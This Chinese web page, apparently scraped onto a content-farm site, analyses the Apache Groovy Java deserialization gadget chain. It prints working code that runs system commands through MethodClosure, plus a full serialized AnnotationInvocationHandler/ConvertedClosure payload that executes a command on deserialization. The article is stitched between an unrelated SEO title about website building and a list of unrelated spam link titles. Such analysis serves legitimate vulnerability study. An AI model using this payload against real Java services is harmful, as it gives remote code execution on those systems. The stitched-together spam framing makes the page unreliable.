当前位置: 首页 > wzjs >正文

全景网站制作教程优化网站价格

全景网站制作教程,优化网站价格,logo免费设计网站有哪些,苏州seo专家教优化网站结构Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言Groovy 编译之后生成 .class 文件,与 Java 编译生成的无异&#xff0c…
  • Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能
  • Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言
  • Groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行
  • 在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all

本条利用 Gadget 就是在 Groovy 核心包中

JAVA环境

java version "1.7.0_80"

Java(TM) SE Runtime Environment (build 1.7.0_80-b15)

Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)

依赖版本

  • Apache Groovy 依赖版本:1.7.0-2.4.3

检查依赖配置

确认项目中是否正确引入了

  • Apache Groovy

的依赖。如果使用的是 Maven,可以在 pom.xml 文件中添加以下依赖:

  <dependency><groupId>org.codehaus.groovy</groupId><artifactId>groovy</artifactId><version>2.3.9</version></dependency>

资源下载

  • maven Apache Groovy
  • Java7 下载
  • Groovy 2.3.9 jar包

前置知识

MethodClosure

org.codehaus.groovy.runtime.MethodClosure 是方法闭包,使用闭包代表了一个对象的一个方法,可以很方便的调用

构造方法

MethodClosure类继承了Closure类,其初始化时接收两个参数,一个是对象,一个是对象的方法名称

public class MethodClosure extends Closure {...public MethodClosure(Object owner, String method) {super(owner);this.method = method;final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass();maximumNumberOfParameters = 0;parameterTypes = EMPTY_CLASS_ARRAY;List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);for(MetaMethod m : methods) {if (m.getParameterTypes().length > maximumNumberOfParameters) {Class[] pt = m.getNativeParameterTypes();maximumNumberOfParameters = pt.length;parameterTypes = pt;}}}...
}
doCall - sink

MethodClosure 中有一个 doCall 方法,通过 InvokerHelper.invokeMethod() 进行方法调用

protected Object doCall(Object arguments) {return InvokerHelper.invokeMethod(getOwner(), method, arguments);
}
利用方法

这样就可以使用 MethodClosure 执行系统命令

MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method        m  = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");

String.execute

Groovy 为 String 类型添加了 execute() 方法,以便执行 shell 命令,这个方法会返回一个 Process 对象

也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令 "ls"

利用方法

在 Groovy类 中,可以很简单的利用

public void test() {println("whoami".execute().text)
}

实际上就是调用 Runtime.getRuntime().exec() 方法执行系统命令

public static Process execute(final String self) throws IOException {return Runtime.getRuntime().exec(self);
}

在 Java类 中,就可以直接写做:

MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();

其中callClosure类中的方法,实际上最终调用的MethodClosure类的doCall方法,从而调用"calc"execute方法

ConvertedClosure

org.codehaus.groovy.runtime.ConvertedClosure 是一个通用适配器,用于将闭包适配到 Java 接口

  • ConvertedClosure 实现了 ConversionHandler
  • ConversionHandler 又实现了 InvocationHandler
  • 所以 ConvertedClosure 本身就是一个动态代理类
构造方法

ConvertedClosure 的构造方法接收一个 Closure 对象和一个 String 类型的 method 方法名

public ConvertedClosure(Closure closure, String method) {super(closure);this.methodName = method;
}

ConvertedClosure 会代理这个 Closure 对象,当调用其 method 方法时,将会调用 ConvertedClosure 父类的 invoke 方法,除了 toString 和一些默认方法外,会调用 invokeCustom 方法

invokeCustom - chain

如果初始化时指定的 method 与 invokeCustom 指定的 method 参数相同,则 invokeCustom 方法将会调用代理对象 Closurecall 方法执行传入参数执行

public Object invokeCustom(Object proxy, Method method, Object[] args)
throws Throwable {if (methodName!=null && !methodName.equals(method.getName())) return null;return ((Closure) getDelegate()).call(args);
}

看到这里就明白这条链的触发逻辑了

后面自然是使用 AnnotationInvocationHandlerConvertedClosure 代理成 Map 类,再进行序列化与反序列化

攻击构造

恶意代码主体

public void TestGroovy1() throws Exception {//封装我们需要执行的对象MethodClosure    methodClosure = new MethodClosure("calc", "execute");ConvertedClosure closure       = new ConvertedClosure(methodClosure, "entrySet");Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = c.getDeclaredConstructors()[0];constructor.setAccessible(true);// 创建 ConvertedClosure 的动态代理类实例Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);// 使用动态代理初始化 AnnotationInvocationHandlerInvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);writeObjectToFile((Serializable) invocationHandler, fileName);readFileObject(fileName);
}

总结

以上就是 Groovy 链分析的全部内容了,最后总结一下

利用说明

  • AnnotationInvocationHandler 反序列化时调用 memberValues 中存放对象的 entrySet 对象
    • 这个对象是 ConvertedClosure
    • 这个对象又实际上是 MethodClosure 对象的代理
    1. 定义了在调用 entrySet 方法时会调用 invoke 方法
    2. 触发 GroovyString 类型的 execute 方法执行命令
    3. 调用 MethodClosurecall 方法

Gadget 总结

  • kick-off gadget:sun.reflect.annotation.AnnotationInvocationHandler#readObject
  • sink gadget:org.codehaus.groovy.runtime.MethodClosure#doCall
  • chain gadget:org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom

调用链展示

AnnotationInvocationHandler.readObject()Map.entrySet() (Proxy)ConversionHandler.invoke()ConvertedClosure.invokeCustom()Closure.call()MethodClosure.doCall()ProcessGroovyMethods.execute()
  • Java 反序列化漏洞(三) - CB/Groovy/Hibernate/Spring | 素十八
http://www.dtcms.com/wzjs/187144.html

相关文章:

  • 提供网站建设备案报价新浪网今日乌鲁木齐新闻
  • 免费做情网站seo新人怎么发外链
  • 服装网站策划设计谷歌推广怎么样
  • 企业建设网站的规定网站推广排名
  • 访问美国网站 dns设置简述seo
  • 用本机做网站浏览企业培训课程种类
  • 做简单的动态网站教程网站建设需要多少钱?
  • 怎么做电脑端网站设计稿网络营销的六个特点
  • 东营网站关键字优化品牌网站建设解决方案
  • 过年做啥网站致富软文营销网站
  • 建设网站石家庄app推广公司
  • 手机网站模板在线建站搜索引擎优化培训班
  • 山西为啥突然爆发疫情宁波seo网站推广
  • 中邮通建设咨询有限公司官方网站可以直接打开网站的网页
  • 动态网站与静态网站的区别网站搜索系统
  • abc网站建设怎么样网站优化怎么操作
  • 做360手机网站优化快万网域名管理平台
  • wordpress 添加 常规长沙正规seo优化价格
  • 域名与网站建设seo的基础是什么
  • 餐饮系统的网站应该怎么做nba排名2021最新排名
  • wordpress 站中站友情链接发布网
  • 网站开发技术的现状及发展趋势2022近期时事热点素材摘抄
  • 安阳网站建设推广业务平台
  • 如何在手机做网站中国最新领导班子
  • 搜索引擎网站排名有哪些搜索引擎
  • 做电影平台网站怎么赚钱的青岛百度整站优化服务
  • 企业信息化建设方案 网站百度下载老版本
  • 网站怎样做才能有点击率浙江seo推广
  • 品牌营销策划推广seo推广软
  • 公司 备案 网站名称搜索引擎营销的英文简称